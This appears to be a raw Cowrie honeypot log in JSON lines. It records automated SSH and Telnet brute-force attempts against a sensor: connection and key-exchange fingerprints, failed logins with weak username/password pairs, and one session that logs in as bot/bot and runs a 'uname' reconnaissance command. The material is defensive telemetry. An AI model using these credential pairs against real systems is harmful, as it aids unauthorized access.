{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:24.206428Z","src_ip":"45.156.87.204","session":"9ab881d3a49c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:24.289014Z","src_ip":"45.156.87.204","session":"9ab881d3a49c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.26282572746277,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:24.312087Z","src_ip":"152.42.224.71","session":"fb69e3191dc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:24.530607Z","src_ip":"124.155.125.131","session":"47f43c5d8213","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop@1234","message":"login attempt [hadoop/hadoop@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:24.536183Z","src_ip":"45.156.87.204","session":"9ab881d3a49c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48378,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fa2f19903b8","protocol":"telnet","message":"New connection: 152.42.224.71:48378 (10.17.0.5:23) [session: 8fa2f19903b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:25.324351Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:25.620765Z","src_ip":"45.156.87.204","session":"9ab881d3a49c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45650,"dst_ip":"159.203.135.109","dst_port":22,"session":"df01f3ffdcef","protocol":"ssh","message":"New connection: 45.156.87.204:45650 (159.203.135.109:22) [session: df01f3ffdcef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:27.719401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:27.744756Z","src_ip":"45.156.87.204","session":"df01f3ffdcef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:27.817562Z","src_ip":"45.156.87.204","session":"df01f3ffdcef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:28.124293Z","src_ip":"45.156.87.204","session":"df01f3ffdcef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:29.209093Z","src_ip":"45.156.87.204","session":"df01f3ffdcef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":45652,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca457ff27449","protocol":"ssh","message":"New connection: 45.156.87.204:45652 (159.203.135.109:22) [session: ca457ff27449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:31.244715Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:31.249055Z","src_ip":"45.156.87.204","session":"ca457ff27449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:31.333829Z","src_ip":"45.156.87.204","session":"ca457ff27449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:31.580879Z","src_ip":"45.156.87.204","session":"ca457ff27449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:32.666996Z","src_ip":"45.156.87.204","session":"ca457ff27449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53740,"dst_ip":"10.17.0.5","dst_port":23,"session":"903d43cfb9dd","protocol":"telnet","message":"New connection: 152.42.224.71:53740 (10.17.0.5:23) [session: 903d43cfb9dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:33.166886Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41548,"dst_ip":"159.203.135.109","dst_port":22,"session":"4437e6f99cab","protocol":"ssh","message":"New connection: 45.156.87.204:41548 (159.203.135.109:22) [session: 4437e6f99cab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:34.600462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:34.607716Z","src_ip":"45.156.87.204","session":"4437e6f99cab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:34.690581Z","src_ip":"45.156.87.204","session":"4437e6f99cab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:34.940810Z","src_ip":"45.156.87.204","session":"4437e6f99cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53754,"dst_ip":"10.17.0.5","dst_port":23,"session":"33bb40ae401a","protocol":"telnet","message":"New connection: 152.42.224.71:53754 (10.17.0.5:23) [session: 33bb40ae401a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:35.533685Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:36.026686Z","src_ip":"45.156.87.204","session":"4437e6f99cab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41562,"dst_ip":"159.203.135.109","dst_port":22,"session":"675123970495","protocol":"ssh","message":"New connection: 45.156.87.204:41562 (159.203.135.109:22) [session: 675123970495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:37.911115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:37.915996Z","src_ip":"45.156.87.204","session":"675123970495","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:38.006742Z","src_ip":"45.156.87.204","session":"675123970495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:38.529743Z","src_ip":"45.156.87.204","session":"675123970495","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.111.76.195","src_port":42990,"dst_ip":"159.203.135.109","dst_port":22,"session":"50e0eb1febdc","protocol":"ssh","message":"New connection: 83.111.76.195:42990 (159.203.135.109:22) [session: 50e0eb1febdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:39.141062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:39.244691Z","src_ip":"83.111.76.195","session":"50e0eb1febdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.54053568840027,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:39.437789Z","src_ip":"152.42.224.71","session":"ca035fd1529a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:39.452958Z","src_ip":"83.111.76.195","session":"50e0eb1febdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:39.614104Z","src_ip":"45.156.87.204","session":"675123970495","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crm","password":"crm","message":"login attempt [crm/crm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:40.278057Z","src_ip":"83.111.76.195","session":"50e0eb1febdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:41.489522Z","src_ip":"83.111.76.195","session":"50e0eb1febdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":41570,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e96517d03eb","protocol":"ssh","message":"New connection: 45.156.87.204:41570 (159.203.135.109:22) [session: 9e96517d03eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:41.621386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:41.626100Z","src_ip":"45.156.87.204","session":"9e96517d03eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:41.708229Z","src_ip":"45.156.87.204","session":"9e96517d03eb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:41.956313Z","src_ip":"45.156.87.204","session":"9e96517d03eb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:42.166040Z","src_ip":"45.156.87.204","session":"9e96517d03eb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:42.169730Z","src_ip":"45.156.87.204","session":"9e96517d03eb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:42.256700Z","src_ip":"45.156.87.204","session":"9e96517d03eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:42.261773Z","src_ip":"45.156.87.204","session":"9e96517d03eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41064,"dst_ip":"10.17.0.5","dst_port":23,"session":"978869f85803","protocol":"telnet","message":"New connection: 152.42.224.71:41064 (10.17.0.5:23) [session: 978869f85803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:42.826361Z"}
{"eventid":"cowrie.session.closed","duration":120.0010085105896,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:43.067662Z","src_ip":"152.42.224.71","session":"2ba289009535","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":38634,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a5808409549","protocol":"ssh","message":"New connection: 47.237.167.49:38634 (159.203.135.109:22) [session: 7a5808409549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:43.209830Z"}
{"eventid":"cowrie.session.closed","duration":44.84074807167053,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:44.189585Z","src_ip":"152.42.224.71","session":"b7781b9ae73f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":38818,"dst_ip":"159.203.135.109","dst_port":22,"session":"796fbeba2f75","protocol":"ssh","message":"New connection: 45.156.87.204:38818 (159.203.135.109:22) [session: 796fbeba2f75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:45.092469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:44:45.097996Z","src_ip":"45.156.87.204","session":"796fbeba2f75","protocol":"ssh"}
